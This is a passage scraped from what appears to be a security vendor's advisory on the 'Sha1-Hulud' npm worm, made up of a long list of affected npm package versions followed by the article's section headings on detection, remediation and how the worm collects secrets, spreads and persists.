- @productdevbook/animejs-vue@0.2.1
- @productdevbook/auth@0.2.2
- @productdevbook/chatwoot@2.0.1
- @productdevbook/motion@1.0.4
- @productdevbook/ts-i18n@1.4.2
- @pruthvi21/use-debounce@1.0.3
- @quick-start-soft/quick-document-translator@1.4.2511142126
- @quick-start-soft/quick-git-clean-markdown@1.4.2511142126
- @quick-start-soft/quick-markdown-compose@1.4.2506300029
- @quick-start-soft/quick-markdown-image@1.4.2511142126
- @quick-start-soft/quick-markdown-print@1.4.2511142126
- @quick-start-soft/quick-markdown-translator@1.4.2509202331
- @quick-start-soft/quick-markdown@1.4.2511142126
- @quick-start-soft/quick-remove-image-background@1.4.2511142126
- @quick-start-soft/quick-task-refine@1.4.2511142126
- @relyt/claude-context-core@0.1.1
- @relyt/claude-context-mcp@0.1.1
- @relyt/mcp-server-relytone@0.0.3
- @sameepsi/sor2@2.0.2
- @sameepsi/sor@1.0.3
- @seezo/sdr-mcp-server@0.0.5
- @seung-ju/next@0.0.2
- @seung-ju/openapi-generator@0.0.4
- @seung-ju/react-hooks@0.0.2
- @seung-ju/react-native-action-sheet@0.2.1
- @silgi/better-auth@0.8.1
- @silgi/drizzle@0.8.4
- @silgi/ecosystem@0.7.6
- @silgi/graphql@0.7.15
- @silgi/module-builder@0.8.8
- @silgi/openapi@0.7.4
- @silgi/permission@0.6.8
- @silgi/ratelimit@0.2.1
- @silgi/scalar@0.6.2
- @silgi/yoga@0.7.1
- @sme-ui/aoma-vevasound-metadata-lib@0.1.3
- @strapbuild/react-native-date-time-picker@2.0.4
- @strapbuild/react-native-perspective-image-cropper-2@0.4.7
- @strapbuild/react-native-perspective-image-cropper-poojan31@0.4.6
- @strapbuild/react-native-perspective-image-cropper@0.4.15
- @suraj_h/medium-common@1.0.5
- @thedelta/eslint-config@1.0.2
- @tiaanduplessis/json@2.0.2
- @tiaanduplessis/json@2.0.3
- @tiaanduplessis/react-progressbar@1.0.1
- @tiaanduplessis/react-progressbar@1.0.2
- @trackstar/angular-trackstar-link@1.0.2
- @trackstar/react-trackstar-link-upgrade@1.1.10
- @trackstar/react-trackstar-link@2.0.21
- @trackstar/test-angular-package@0.0.9
- @trackstar/test-package@1.1.5
- @trefox/sleekshop-js@0.1.6
- @trigo/atrix-acl@4.0.2
- @trigo/atrix-elasticsearch@2.0.1
- @trigo/atrix-mongoose@1.0.2
- @trigo/atrix-orientdb@1.0.2
- @trigo/atrix-postgres@1.0.3
- @trigo/atrix-pubsub@4.0.3
- @trigo/atrix-redis@1.0.2
- @trigo/atrix-soap@1.0.2
- @trigo/atrix-swagger@3.0.1
- @trigo/atrix@7.0.1
- @trigo/bool-expressions@4.1.3
- @trigo/eslint-config-trigo@3.3.1
- @trigo/fsm@3.4.2
- @trigo/hapi-auth-signedlink@1.3.1
- @trigo/jsdt@0.2.1
- @trigo/keycloak-api@1.3.1
- @trigo/node-soap@0.5.4
- @trigo/pathfinder-ui-css@0.1.1
- @trigo/trigo-hapijs@5.0.1
- @trpc-rate-limiter/cloudflare@0.1.4
- @trpc-rate-limiter/hono@0.1.4
- @varsityvibe/api-client@1.3.36
- @varsityvibe/api-client@1.3.37
- @varsityvibe/utils@5.0.6
- @varsityvibe/validation-schemas@0.6.7
- @varsityvibe/validation-schemas@0.6.8
- @viapip/eslint-config@0.2.4
- @vishadtyagi/full-year-calendar@0.1.11
- @voiceflow/alexa-types@2.15.60
- @voiceflow/alexa-types@2.15.61
- @voiceflow/anthropic@0.4.4
- @voiceflow/anthropic@0.4.5
- @voiceflow/api-sdk@3.28.58
- @voiceflow/api-sdk@3.28.59
- @voiceflow/backend-utils@5.0.1
- @voiceflow/backend-utils@5.0.2
- @voiceflow/base-types@2.136.2
- @voiceflow/base-types@2.136.3
- @voiceflow/body-parser@1.21.2
- @voiceflow/body-parser@1.21.3
- @voiceflow/chat-types@2.14.58
- @voiceflow/chat-types@2.14.59
- @voiceflow/circleci-config-sdk-orb-import@0.2.1
- @voiceflow/circleci-config-sdk-orb-import@0.2.2
- @voiceflow/commitlint-config@2.6.1
- @voiceflow/commitlint-config@2.6.2
- @voiceflow/common@8.9.1
- @voiceflow/common@8.9.2
- @voiceflow/default-prompt-wrappers@1.7.3
- @voiceflow/default-prompt-wrappers@1.7.4
- @voiceflow/dependency-cruiser-config@1.8.11
- @voiceflow/dependency-cruiser-config@1.8.12
- @voiceflow/dtos-interact@1.40.1
- @voiceflow/dtos-interact@1.40.2
- @voiceflow/encryption@0.3.2
- @voiceflow/encryption@0.3.3
- @voiceflow/eslint-config@7.16.4
- @voiceflow/eslint-config@7.16.5
- @voiceflow/eslint-plugin@1.6.1
- @voiceflow/eslint-plugin@1.6.2
- @voiceflow/exception@1.10.1
- @voiceflow/exception@1.10.2
- @voiceflow/fetch@1.11.1
- @voiceflow/fetch@1.11.2
- @voiceflow/general-types@3.2.22
- @voiceflow/general-types@3.2.23
- @voiceflow/git-branch-check@1.4.3
- @voiceflow/git-branch-check@1.4.4
- @voiceflow/google-dfes-types@2.17.12
- @voiceflow/google-dfes-types@2.17.13
- @voiceflow/google-types@2.21.12
- @voiceflow/google-types@2.21.13
- @voiceflow/husky-config@1.3.1
- @voiceflow/husky-config@1.3.2
- @voiceflow/logger@2.4.2
- @voiceflow/logger@2.4.3
- @voiceflow/metrics@1.5.1
- @voiceflow/metrics@1.5.2
- @voiceflow/natural-language-commander@0.5.2
- @voiceflow/natural-language-commander@0.5.3
- @voiceflow/nestjs-common@2.75.2
- @voiceflow/nestjs-common@2.75.3
- @voiceflow/nestjs-mongodb@1.3.1
- @voiceflow/nestjs-mongodb@1.3.2
- @voiceflow/nestjs-rate-limit@1.3.2
- @voiceflow/nestjs-rate-limit@1.3.3
- @voiceflow/nestjs-redis@1.3.1
- @voiceflow/nestjs-redis@1.3.2
- @voiceflow/nestjs-timeout@1.3.1
- @voiceflow/nestjs-timeout@1.3.2
- @voiceflow/npm-package-json-lint-config@1.1.1
- @voiceflow/npm-package-json-lint-config@1.1.2
- @voiceflow/openai@3.2.2
- @voiceflow/openai@3.2.3
- @voiceflow/pino-pretty@4.4.1
- @voiceflow/pino-pretty@4.4.2
- @voiceflow/pino@6.11.3
- @voiceflow/pino@6.11.4
- @voiceflow/prettier-config@1.10.1
- @voiceflow/prettier-config@1.10.2
- @voiceflow/react-chat@1.65.3
- @voiceflow/react-chat@1.65.4
- @voiceflow/runtime-client-js@1.17.2
- @voiceflow/runtime-client-js@1.17.3
- @voiceflow/runtime@1.29.1
- @voiceflow/runtime@1.29.2
- @voiceflow/sdk-runtime@1.43.1
- @voiceflow/sdk-runtime@1.43.2
- @voiceflow/secrets-provider@1.9.2
- @voiceflow/secrets-provider@1.9.3
- @voiceflow/semantic-release-config@1.4.1
- @voiceflow/semantic-release-config@1.4.2
- @voiceflow/serverless-plugin-typescript@2.1.7
- @voiceflow/serverless-plugin-typescript@2.1.8
- @voiceflow/slate-serializer@1.7.3
- @voiceflow/slate-serializer@1.7.4
- @voiceflow/stitches-react@2.3.2
- @voiceflow/stitches-react@2.3.3
- @voiceflow/storybook-config@1.2.2
- @voiceflow/storybook-config@1.2.3
- @voiceflow/stylelint-config@1.1.1
- @voiceflow/stylelint-config@1.1.2
- @voiceflow/test-common@2.1.1
- @voiceflow/test-common@2.1.2
- @voiceflow/tsconfig-paths@1.1.4
- @voiceflow/tsconfig-paths@1.1.5
- @voiceflow/tsconfig@1.12.1
- @voiceflow/tsconfig@1.12.2
- @voiceflow/utils-designer@1.74.19
- @voiceflow/utils-designer@1.74.20
- @voiceflow/verror@1.1.4
- @voiceflow/verror@1.1.5
- @voiceflow/vite-config@2.6.2
- @voiceflow/vite-config@2.6.3
- @voiceflow/vitest-config@1.10.2
- @voiceflow/vitest-config@1.10.3
- @voiceflow/voice-types@2.10.58
- @voiceflow/voice-types@2.10.59
- @voiceflow/voiceflow-types@3.32.45
- @voiceflow/voiceflow-types@3.32.46
- @voiceflow/widget@1.7.18
- @voiceflow/widget@1.7.19
- @vucod/email@0.0.3
- @zapier/ai-actions-react@0.1.12
- @zapier/ai-actions-react@0.1.13
- @zapier/ai-actions-react@0.1.14
- @zapier/ai-actions@0.1.18
- @zapier/ai-actions@0.1.19
- @zapier/ai-actions@0.1.20
- @zapier/babel-preset-zapier@6.4.1
- @zapier/babel-preset-zapier@6.4.2
- @zapier/babel-preset-zapier@6.4.3
- @zapier/browserslist-config-zapier@1.0.3
- @zapier/browserslist-config-zapier@1.0.4
- @zapier/browserslist-config-zapier@1.0.5
- @zapier/eslint-plugin-zapier@11.0.3
- @zapier/eslint-plugin-zapier@11.0.4
- @zapier/eslint-plugin-zapier@11.0.5
- @zapier/mcp-integration@3.0.1
- @zapier/mcp-integration@3.0.2
- @zapier/mcp-integration@3.0.3
- @zapier/secret-scrubber@1.1.3
- @zapier/secret-scrubber@1.1.4
- @zapier/secret-scrubber@1.1.5
- @zapier/spectral-api-ruleset@1.9.1
- @zapier/spectral-api-ruleset@1.9.2
- @zapier/spectral-api-ruleset@1.9.3
- @zapier/stubtree@0.1.2
- @zapier/stubtree@0.1.3
- @zapier/stubtree@0.1.4
- @zapier/zapier-sdk@0.15.5
- @zapier/zapier-sdk@0.15.6
- @zapier/zapier-sdk@0.15.7
- ai-crowl-shield@1.0.7
- arc-cli-fc@1.0.1
- asciitranslator@1.0.3
- asyncapi-preview@1.0.1
- asyncapi-preview@1.0.2
- atrix-mongoose@1.0.1
- atrix@1.0.1
- automation_model@1.0.491
- avvvatars-vue@1.1.2
- axios-builder@1.2.1
- axios-cancelable@1.0.1
- axios-cancelable@1.0.2
- axios-timed@1.0.1
- axios-timed@1.0.2
- babel-preset-kinvey-flex-service@0.1.1
- barebones-css@1.1.3
- barebones-css@1.1.4
- benmostyn-frame-print@1.0.1
- best_gpio_controller@1.0.10
- bestgpiocontroller@1.0.10
- better-auth-nuxt@0.0.10
- better-queue-nedb@0.1.5
- bidirectional-adapter@1.2.2
- bidirectional-adapter@1.2.3
- bidirectional-adapter@1.2.4
- bidirectional-adapter@1.2.5
- blinqio-executions-cli@1.0.41
- blob-to-base64@1.0.3
- bool-expressions@0.1.2
- buffered-interpolation-babylon6@0.2.8
- bun-plugin-httpfile@0.1.1
- bytecode-checker-cli@1.0.10
- bytecode-checker-cli@1.0.11
- bytecode-checker-cli@1.0.8
- bytecode-checker-cli@1.0.9
- bytes-to-x@1.0.1
- calc-loan-interest@1.0.4
- capacitor-plugin-apptrackingios@0.0.21
- capacitor-plugin-purchase@0.1.1
- capacitor-plugin-scgssigninwithgoogle@0.0.5
- capacitor-purchase-history@0.0.10
- capacitor-voice-recorder-wav@6.0.3
- cbre-flow-common@1.3.1
- cbre-flow-common@1.3.2
- ceviz@0.0.5
- chrome-extension-downloads@0.0.3
- chrome-extension-downloads@0.0.4
- claude-token-updater@1.0.3
- coinmarketcap-api@3.1.2
- coinmarketcap-api@3.1.3
- colors-regex@2.0.1
- command-irail@0.5.4
- compare-obj@1.1.1
- compare-obj@1.1.2
- composite-reducer@1.0.2
- composite-reducer@1.0.3
- composite-reducer@1.0.4
- composite-reducer@1.0.5
- count-it-down@1.0.1
- count-it-down@1.0.2
- cpu-instructions@0.0.14
- create-director-app@0.1.1
- create-glee-app@0.2.2
- create-glee-app@0.2.3
- create-hardhat3-app@1.1.1
- create-hardhat3-app@1.1.2
- create-hardhat3-app@1.1.3
- create-hardhat3-app@1.1.4
- create-kinvey-flex-service@0.2.1
- create-mcp-use-app@0.5.3
- create-mcp-use-app@0.5.4
- create-silgi@0.3.1
- crypto-addr-codec@0.1.9
- css-dedoupe@0.1.2
- csv-tool-cli@1.2.1
- dashboard-empty-state@1.0.3
- designstudiouiux@1.0.1
- devstart-cli@1.0.6
- dialogflow-es@1.1.1
- dialogflow-es@1.1.2
- dialogflow-es@1.1.3
- dialogflow-es@1.1.4
- discord-bot-server@0.1.2
- docusaurus-plugin-vanilla-extract@1.0.3
- dont-go@1.1.2
- dotnet-template@0.0.3
- dotnet-template@0.0.4
- drop-events-on-property-plugin@0.0.2
- easypanel-sdk@0.3.2
- electron-volt@0.0.2
- email-deliverability-tester@1.1.1
- enforce-branch-name@1.1.3
- esbuild-plugin-brotli@0.2.1
- esbuild-plugin-eta@0.1.1
- esbuild-plugin-httpfile@0.4.1
- eslint-config-kinvey-flex-service@0.1.1
- eslint-config-nitpicky@4.0.1
- eslint-config-trigo@22.0.2
- eslint-config-zeallat-base@1.0.4
- ethereum-ens@0.8.1
- evm-checkcode-cli@1.0.12
- evm-checkcode-cli@1.0.13
- evm-checkcode-cli@1.0.14
- evm-checkcode-cli@1.0.15
- exact-ticker@0.3.5
- expo-audio-session@0.2.1
- expo-router-on-rails@0.0.4
- express-starter-template@1.0.10
- expressos@1.1.3
- fat-fingered@1.0.1
- fat-fingered@1.0.2
- feature-flip@1.0.1
- feature-flip@1.0.2
- firestore-search-engine@1.2.3
- fittxt@1.0.2
- fittxt@1.0.3
- flapstacks@1.0.1
- flapstacks@1.0.2
- flatten-unflatten@1.0.1
- flatten-unflatten@1.0.2
- formik-error-focus@2.0.1
- formik-store@1.0.1
- frontity-starter-theme@1.0.1
- fuzzy-finder@1.0.5
- fuzzy-finder@1.0.6
- gate-evm-check-code2@2.0.3
- gate-evm-check-code2@2.0.4
- gate-evm-check-code2@2.0.5
- gate-evm-check-code2@2.0.6
- gate-evm-tools-test@1.0.5
- gate-evm-tools-test@1.0.6
- gate-evm-tools-test@1.0.7
- gate-evm-tools-test@1.0.8
- gatsby-plugin-antd@2.2.1
- gatsby-plugin-cname@1.0.1
- gatsby-plugin-cname@1.0.2
- generator-meteor-stock@0.1.6
- generator-ng-itobuz@0.0.15
- get-them-args@1.3.3
- github-action-for-generator@2.1.27
- github-action-for-generator@2.1.28
- gitsafe@1.0.5
- go-template@0.1.8
- go-template@0.1.9
- gulp-inject-envs@1.2.1
- gulp-inject-envs@1.2.2
- haufe-axera-api-client@0.0.1
- haufe-axera-api-client@0.0.2
- hope-mapboxdraw@0.1.1
- hopedraw@1.0.3
- hover-design-prototype@0.0.5
- httpness@1.0.2
- httpness@1.0.3
- hyper-fullfacing@1.0.3
- hyperterm-hipster@1.0.7
- ids-css@1.5.1
- ids-enterprise-mcp-server@0.0.2
- ids-enterprise-ng@20.1.6
- ids-enterprise-typings@20.1.6
- image-to-uri@1.0.1
- image-to-uri@1.0.2
- insomnia-plugin-random-pick@1.0.4
- invo@0.2.2
- iron-shield-miniapp@0.0.2
- ito-button@8.0.3
- itobuz-angular-auth@8.0.11
- itobuz-angular-button@8.0.11
- itobuz-angular@0.0.1
- jacob-zuma@1.0.1
- jacob-zuma@1.0.2
- jaetut-varit-test@1.0.2
- jan-browser@0.13.1
- jquery-bindings@1.1.2
- jquery-bindings@1.1.3
- jsonsurge@1.0.7
- just-toasty@1.7.1
- kill-port@2.0.2
- kill-port@2.0.3
- kinetix-default-token-list@1.0.5
- kinvey-cli-wrapper@0.3.1
- kinvey-flex-scripts@0.5.1
- kns-error-code@1.0.8
- korea-administrative-area-geo-json-util@1.0.7
- kwami@1.5.10
- kwami@1.5.9
- lang-codes@1.0.1
- lang-codes@1.0.2
- license-o-matic@1.2.1
- license-o-matic@1.2.2
- lint-staged-imagemin@1.3.1
- lint-staged-imagemin@1.3.2
- lite-serper-mcp-server@0.2.2
- lui-vue-test@0.70.9
- luno-api@1.2.3
- m25-transaction-utils@1.1.16
- manual-billing-system-miniapp-api@1.3.1
- mcp-use@1.4.2
- mcp-use@1.4.3
- medusa-plugin-announcement@0.0.3
- medusa-plugin-logs@0.0.17
- medusa-plugin-momo@0.0.68
- medusa-plugin-product-reviews-kvy@0.0.4
- medusa-plugin-zalopay@0.0.40
- mod10-check-digit@1.0.1
- mon-package-react-typescript@1.0.1
- my-saeed-lib@0.1.1
- n8n-nodes-tmdb@0.5.1
- n8n-nodes-vercel-ai-sdk@0.1.7
- n8n-nodes-viral-app@0.2.5
- nanoreset@7.0.1
- nanoreset@7.0.2
- next-circular-dependency@1.0.2
- next-circular-dependency@1.0.3
- next-simple-google-analytics@1.1.1
- next-simple-google-analytics@1.1.2
- next-styled-nprogress@1.0.4
- next-styled-nprogress@1.0.5
- ngx-useful-swiper-prosenjit@9.0.2
- ngx-wooapi@12.0.1
- nitro-graphql@1.5.12
- nitro-kutu@0.1.1
- nitrodeploy@1.0.8
- nitroping@0.1.1
- normal-store@1.3.1
- normal-store@1.3.2
- normal-store@1.3.3
- normal-store@1.3.4
- nuxt-keycloak@0.2.2
- obj-to-css@1.0.2
- obj-to-css@1.0.3
- okta-react-router-6@5.0.1
- open2internet@0.1.1
- orbit-boxicons@2.1.3
- orbit-nebula-draw-tools@1.0.10
- orbit-nebula-editor@1.0.2
- orbit-soap@0.43.13
- orchestrix@12.1.2
- package-tester@1.0.1
- parcel-plugin-asset-copier@1.1.2
- parcel-plugin-asset-copier@1.1.3
- pdf-annotation@0.0.2
- pergel@0.13.2
- pergeltest@0.0.25
- piclite@1.0.1
- pico-uid@1.0.3
- pico-uid@1.0.4
- pkg-readme@1.1.1
- poper-react-sdk@0.1.2
- posthog-docusaurus@2.0.6
- posthog-js@1.297.3
- posthog-node@4.18.1
- posthog-node@5.11.3
- posthog-node@5.13.3
- posthog-plugin-hello-world@1.0.1
- posthog-react-native-session-replay@1.2.2
- posthog-react-native@4.11.1
- posthog-react-native@4.12.5
- prime-one-table@0.0.19
- prompt-eng-server@1.0.18
- prompt-eng@1.0.50
- puny-req@1.0.3
- quickswap-ads-list@1.0.33
- quickswap-default-staking-list-address@1.0.55
- quickswap-default-staking-list@1.0.11
- quickswap-default-token-list@1.5.16
- quickswap-router-sdk@1.0.1
- quickswap-sdk@3.0.44
- quickswap-smart-order-router@1.0.1
- quickswap-token-lists@1.0.3
- quickswap-v2-sdk@2.0.1
- ra-auth-firebase@1.0.3
- ra-data-firebase@1.0.7
- ra-data-firebase@1.0.8
- react-component-taggers@0.1.9
- react-data-to-export@1.0.1
- react-element-prompt-inspector@0.1.18
- react-favic@1.0.2
- react-hook-form-persist@3.0.1
- react-hook-form-persist@3.0.2
- react-jam-icons@1.0.1
- react-jam-icons@1.0.2
- react-keycloak-context@1.0.8
- react-keycloak-context@1.0.9
- react-library-setup@0.0.6
- react-linear-loader@1.0.2
- react-micromodal.js@1.0.1
- react-micromodal.js@1.0.2
- react-native-datepicker-modal@1.3.1
- react-native-datepicker-modal@1.3.2
- react-native-email@2.1.1
- react-native-email@2.1.2
- react-native-fetch@2.0.1
- react-native-fetch@2.0.2
- react-native-get-pixel-dimensions@1.0.1
- react-native-get-pixel-dimensions@1.0.2
- react-native-google-maps-directions@2.1.2
- react-native-jam-icons@1.0.1
- react-native-jam-icons@1.0.2
- react-native-log-level@1.2.1
- react-native-log-level@1.2.2
- react-native-modest-checkbox@3.3.1
- react-native-modest-storage@2.1.1
- react-native-phone-call@1.2.1
- react-native-phone-call@1.2.2
- react-native-retriable-fetch@2.0.1
- react-native-retriable-fetch@2.0.2
- react-native-use-modal@1.0.3
- react-native-view-finder@1.2.1
- react-native-view-finder@1.2.2
- react-native-websocket@1.0.3
- react-native-websocket@1.0.4
- react-native-worklet-functions@3.3.3
- react-packery-component@1.0.3
- react-qr-image@1.1.1
- react-scrambled-text@1.0.4
- rediff-viewer@0.0.7
- rediff@1.0.5
- redux-forge@2.5.3
- redux-router-kit@1.2.2
- redux-router-kit@1.2.3
- redux-router-kit@1.2.4
- revenuecat@1.0.1
- rollup-plugin-httpfile@0.2.1
- sa-company-registration-number-regex@1.0.1
- sa-company-registration-number-regex@1.0.2
- sa-id-gen@1.0.4
- sa-id-gen@1.0.5
- samesame@1.0.3
- scgs-capacitor-subscribe@1.0.11
- scgsffcreator@1.0.5
- schob@1.0.3
- selenium-session-client@1.0.4
- selenium-session@1.0.5
- set-nested-prop@2.0.1
- set-nested-prop@2.0.2
- shelf-jwt-sessions@0.1.2
- shell-exec@1.1.3
- shell-exec@1.1.4
- shinhan-limit-scrap@1.0.3
- silgi@0.43.30
- simplejsonform@1.0.1
- skills-use@0.1.1
- skills-use@0.1.2
- solomon-api-stories@1.0.2
- solomon-v3-stories@1.15.6
- solomon-v3-ui-wrapper@1.6.1
- soneium-acs@1.0.1
- sort-by-distance@2.0.1
- south-african-id-info@1.0.2
- stat-fns@1.0.1
- stoor@2.3.2
- sufetch@0.4.1
- super-commit@1.0.1
- svelte-autocomplete-select@1.1.1
- svelte-toasty@1.1.2
- svelte-toasty@1.1.3
- tanstack-shadcn-table@1.1.5
- tavily-module@1.0.1
- tcsp-draw-test@1.0.5
- tcsp-test-vd@2.4.4
- tcsp@2.0.2
- template-lib@1.1.3
- template-lib@1.1.4
- template-micro-service@1.0.2
- template-micro-service@1.0.3
- tenacious-fetch@2.3.2
- tenacious-fetch@2.3.3
- test-foundry-app@1.0.1
- test-foundry-app@1.0.2
- test-foundry-app@1.0.3
- test-foundry-app@1.0.4
- test-hardhat-app@1.0.1
- test-hardhat-app@1.0.2
- test-hardhat-app@1.0.3
- test-hardhat-app@1.0.4
- test23112222-api@1.0.1
- tiaan@1.0.2
- tiptap-shadcn-vue@0.2.1
- token.js-fork@0.7.32
- toonfetch@0.3.2
- trigo-react-app@4.1.2
- ts-relay-cursor-paging@2.1.1
- typeface-antonio-complete@1.0.5
- typefence@1.2.2
- typefence@1.2.3
- typeorm-orbit@0.2.27
- unadapter@0.1.3
- undefsafe-typed@1.0.3
- undefsafe-typed@1.0.4
- unemail@0.3.1
- uniswap-router-sdk@1.6.2
- uniswap-smart-order-router@3.16.26
- uniswap-test-sdk-core@4.0.8
- unsearch@0.0.3
- uplandui@0.5.4
- upload-to-play-store@1.0.1
- upload-to-play-store@1.0.2
- url-encode-decode@1.0.1
- url-encode-decode@1.0.2
- use-unsaved-changes@1.0.9
- v-plausible@1.2.1
- valid-south-african-id@1.0.3
- valuedex-sdk@3.0.5
- vf-oss-template@1.0.1
- vf-oss-template@1.0.2
- vf-oss-template@1.0.3
- vf-oss-template@1.0.4
- victoria-wallet-constants@0.1.1
- victoria-wallet-constants@0.1.2
- victoria-wallet-core@0.1.1
- victoria-wallet-core@0.1.2
- victoria-wallet-type@0.1.1
- victoria-wallet-type@0.1.2
- victoria-wallet-utils@0.1.1
- victoria-wallet-utils@0.1.2
- victoria-wallet-validator@0.1.1
- victoria-wallet-validator@0.1.2
- victoriaxoaquyet-wallet-core@0.2.1
- victoriaxoaquyet-wallet-core@0.2.2
- vite-plugin-httpfile@0.2.1
- vue-browserupdate-nuxt@1.0.5
- wallet-evm@0.3.1
- wallet-evm@0.3.2
- wallet-type@0.1.1
- wallet-type@0.1.2
- web-scraper-mcp@1.1.4
- web-types-htmx@0.1.1
- web-types-lit@0.1.1
- webpack-loader-httpfile@0.2.1
- wellness-expert-ng-gallery@5.1.1
- wenk@1.0.10
- wenk@1.0.9
- zapier-async-storage@1.0.1
- zapier-async-storage@1.0.2
- zapier-async-storage@1.0.3
- zapier-platform-cli@18.0.2
- zapier-platform-cli@18.0.3
- zapier-platform-cli@18.0.4
- zapier-platform-core@18.0.2
- zapier-platform-core@18.0.3
- zapier-platform-core@18.0.4
- zapier-platform-legacy-scripting-runner@4.0.2
- zapier-platform-legacy-scripting-runner@4.0.3
- zapier-platform-legacy-scripting-runner@4.0.4
- zapier-platform-schema@18.0.2
- zapier-platform-schema@18.0.3
- zapier-platform-schema@18.0.4
- zapier-scripts@7.8.3
- zapier-scripts@7.8.4
- zuper-cli@1.0.1
- zuper-sdk@1.0.57
- zuper-stream@2.0.9

Sha1-Hulud: The Second Coming of the NPM Worm is Digging For Secrets

Share

Key facts:

For our customers

How to detect if you’ve been compromised

What to do if you’ve been compromised

How the Malware Works

1. Secret Collection

2. Propagation via npm

3. Persistence via GitHub Actions Runner

How This Variant Differs From the Original

What’s changed

What’s unchanged

Final Recommendations

Full List of Affected Packages

About

Dive deeper into Security Research or continue reading our featured posts.

Catching IDORs, Broken Authorization, and Other Logic Issues with Semgrep AI-Powered Detection

Semgrep Community Edition Fall Release 2025

Can LLMs Detect IDORs? Understanding the Boundaries of AI Reasoning

Find and fix the issues that matter before build time